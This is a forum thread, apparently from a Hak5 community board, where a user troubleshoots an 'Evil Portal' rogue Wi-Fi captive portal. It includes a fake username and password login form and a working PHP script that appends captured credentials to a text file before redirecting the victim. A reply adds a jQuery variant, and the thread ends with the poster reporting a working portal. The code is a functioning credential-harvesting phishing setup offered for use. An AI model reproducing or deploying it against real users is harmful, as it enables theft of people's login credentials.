Evil Portal not authenticating

[apkehler]

OK, I believe I should have everything setup correctly, but something isn't working. I have Evil Portal setup to capture credentials and then redirect to $authtarget. However, when I redirect, it simply goes back to the splash page. Here are my relevant code snippets

splash.html

<form id="form"
      method="POST"
      autocomplete="off"
      action="http://172.16.42.1/capture.php?redir=$authtarget">

    <tr height=20>
    <td nowrap id="username_field">
    USERNAME:
    </td>
    <td>
    <input autocomplete="off" id="user" name="user"   style="border:1px solid gray; " value="">
    </td>
    </tr>

    <tr>
    <td nowrap id="password">
    PASSWORD:
    </td>
    <td>
    <input autocomplete="off" id="password" name="password"  style="border:1px solid gray;" type=password>
    </td>
    </tr>


<tr height=40 align="center">
<td colspan=2 align="middle">
<input style="font-weight: bold; cursor: pointer;" type="submit" name="Login" value="Login" />
</td>
</tr> 

And capture.php

<?php
$user = $_POST["user"];
$pass = $_POST["password"];
$redir = $_GET["redir"];

$file = fopen("stored.txt", "a");
fwrite($file, $user . ':' . $pass . "\n");
fclose($file);

header("Location: " . $redir);

?>

When I click "Login", capture.php runs, the creds are stored, but the user is returned to (assuming I originally typed 'www.yahoo.com'):

http://172.16.42.1:2050/nodogsplash_auth/?redir=http://172.16.42.1:2050/nodogsplash_auth/?redir=http:/www.yahoo.com/

Where they are once again presented with the login page.

Am I doing something wrong?

Thanks!

[newbi3]

Here you go: https://forums.hak5.org/index.php?/topic/34464-portal-redirect-not-working/

[apkehler]

Thanks for the link. I had actually read that thread, but was trying to accomplish my task strictly with php. I tried the following javascript posted by sud0nick:

$('.send_info_button').on("click",function(){
    $.post('/path/to/script/', {$dataToSend},function(){
        window.location = $authtarget;
    });
});

Interestingly, the post was successful, however the 'window.location' code was never executed. The browser got stuck after executing capture.php.

I actually just ended up changing my original code from GET to POST per this thread: https://forums.hak5.org/index.php?/topic/33576-howto-creating-a-simple-captive-portal-for-evil-portal/page-2

Still not sure why Option 1 nor Option 2 worked, but at least I have a working portal now!

Edited April 1, 2015 by apkehler